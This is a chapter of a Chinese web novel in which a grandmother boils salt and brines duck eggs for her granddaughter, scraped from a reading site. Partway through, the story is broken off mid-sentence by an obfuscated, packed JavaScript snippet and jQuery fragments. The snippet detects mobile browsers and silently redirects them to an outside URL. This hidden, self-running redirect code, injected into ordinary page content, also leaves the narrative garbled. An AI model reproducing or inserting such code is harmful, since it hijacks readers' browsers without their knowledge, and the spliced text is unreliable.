默认冷灰
24号文字
方正启体

第52章 腌制咸鸭蛋

作者:甜粽本书字数:K更新时间:
    二妞是个嘴馋的。


    闻着槐花的清香,她忍不住掐了一小朵半开的塞进嘴里,细细咀嚼,清甜的味道在口腔里蔓延,满足地眯起了眼。


    “好甜!”


    槐花的甜香笼罩着他们,混合着泥土和青草的气息,充满了最朴实的幸福感。


    不过小半个时辰,带来的大竹篮就装得满满当当。


    沈大山收了竹竿,王三娘拎了拎沉甸甸的篮子,心满意足。


    林禾抬头看了一眼天空,“瞧着快下雨了,咱们赶紧先回去。”


    林禾急着回去收晒在外面的盐。


    果然应了林禾的话,几人刚回山洞不久,一阵雨被山风吹了过来。


    但没持续太久,乌云一散,雨就停了,太阳也再次从云里冒了出来。


    这几日的天气都是这般阴晴不定。


    幸好林禾一早将晒在外面的烟收了回来。


    沈大山晃动着还有水的浅口陶盆,“娘,这些盐里的水还没晒干,要再拿出去晒吗?”


    “不用。”林禾抬头望了一眼天空,转身带着陶盆往里走,“你将灶火烧起来。”


    林禾挪开放在灶上的大陶锅,把浅口陶盆架在灶上,准备将多余的盐水煮干。


    “奶奶,今天我们又捡了四个鸭蛋!”


    二妞提着小篮子兴奋地跑过来,给林禾瞧竹篮里的鸭蛋。


    没想到小花去孵蛋之后,剩下的母鸭子这几天生的蛋不减反增,才四天的功夫就捡了快二十个鸭蛋。


    “奶奶,咱们什么时候开始腌咸鸭蛋?”


    二妞把另外一个铺着草垫的竹篮也拿了过来,里面装着十九个鸭蛋,都是之前捡的。


    二妞把小竹篮里的鸭蛋擦干净放进去,又重新数了一遍,仰头看着林禾,“奶奶,现在咱们有二十三个鸭蛋了!可以腌咸鸭蛋了吗?”


    她自从听林禾说过一次腌咸鸭蛋的打算后,就一直盼着,每天捡鸭蛋她都去得最早,也最上心。


    “可以,等我把盐煮出来就能腌了。”林禾手上还拿着筷子,不停搅拌着盆中的盐。


    “我来帮忙烧火!”二妞见沈大山一走开去拿柴火,立马凑过去帮忙。


    二妞如此积极的表现,还是引起林禾的注意,“二妞,你很爱吃咸鸭蛋吗?”


    “我想尝尝是什么味道的……”二妞睁着大眼睛,看向林禾时带着些期盼,“之前二狗子生辰,他娘给他吃了一整个咸鸭蛋,闻着可香了!可惜他只愿意给我瞧一眼……”


    二妞的神情有些失落,但下一秒立刻振作起来,“不过,现在我也能吃到了!”


    林禾听着觉得心疼,抬手摸了一把二妞的头,承诺道:“等二妞的生辰到了,奶奶不止给你吃咸鸭蛋,还给你做鸡蛋糕吃。”


    林禾看着二妞好不容易才养得圆润些的脸颊,实在说不出拒绝的话。


    本来瘦得皮包骨,这段时间每天都能吃饱,才慢慢养回来一些。


    以前的日子苦,吃不到无可厚非,但现在的日子尚且过得去,不用苦着孩子。


    “真的嘛!”二妞听完,眼睛瞬间亮了,声音带着难掩的激动:“我真的能自己吃一整个咸鸭蛋!?”


    林禾点头应下,“真的,我不骗小孩子的。”


    王三娘提着择干净叶子的槐花进来,听见林禾的话愣了一瞬间,随即放下手中的木桶支开二妞。


    “二妞,你去外头帮大妞把剩下的槐花一起抬进来。”


    “好嘞!”二妞正在兴头上,高高兴兴往外走。


    二妞一走,王三娘立刻开口道:“娘,两个孩子的生辰就是下个月十六号,鸭蛋恐怕来不得腌好,咱们一会儿得换个说辞了。”


    林禾闻言也是一愣。


    她的记忆里沈家孩子的生辰分明都是七月,二妞的生辰怎么会在六月?


    “两个孩子的生辰都在六月?”


    林禾仔细回忆了一遍,才突然惊觉,之前家里给孩子过生日都默认按照沈虎子的生辰过,大妞二妞从来没有在自己的生辰过过一次。


    王三娘看林禾的样子就知道她记不得大妞二妞的生辰,脸上闪过一丝尴尬。


    反应过来的林禾也立马道歉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287138|182632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“之前是我老糊涂了,往后大妞二妞的生辰都按时过!”


    “那咸鸭蛋咱们去买点回来?”


    王三娘看着二妞还在门口喋喋不休念着咸鸭蛋,也不忍心用其他东西代替,只能咬牙出了这么个主意。


    鸭蛋本就不便宜,咸鸭蛋更贵!


    买一个回来估计要十文钱……


    “不用,用盐水浸泡可以在一个月之内腌出来,就是出油不多,口感上差不多。”


    林禾本来打算用裹盐法腌制,但现在时间短,用盐水浸泡能加速盐的渗透,入味快,只需要二十多天就能腌出来。


    也算没有食言。


    林禾煮好的盐都倒在装盐的陶罐中,但这次的盐太多了,将剩余的两个陶罐都装满了还剩下小半个陶盆的盐。


    本来想着用裹盐法这些都不一定够,但现在改用盐水浸泡之后,必然是要多出许多盐的。


    林禾先将盐水调配出来,倒进另外一个大陶罐中,淹没三分之二的位置即可。


    林禾朝王三娘伸出手,“三娘,帮我拿一个鸭蛋过来。”


    “诶!”王三娘把竹篮一起提了过来,取出一个鸭蛋递给林禾。


    林禾将鸭蛋放进陶罐中,看着鸭蛋成功浮起来,就代表盐水的浓度已经够了。


    林禾和王三娘一起,将竹篮里的鸭蛋一一放进陶罐中,最后封上陶罐。


    二人合力将陶罐挪到阴凉的角落放好。


    “娘还剩下这么多盐怎么办?”


    王三娘有些懊悔,早知道就多烧一些小陶罐出来了。


    现在要用的时候也不至于不够。


    这么多盐一时间吃不完,也不能浪费啊!


    这些盐足足有大半罐嘞!


    林禾看着剩下的盐,又看了看木桶里的槐花,突然有了主意。


    “三娘,将盐拿过来,咱们一会儿做盐渍槐花!”


    盐渍槐花咸香入味,容易保存,等到秋冬天拿出来可以炒菜,也可以当馅料。


    包饺子或者包子都是不错的选择,是类似于农家咸菜一般的存在。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)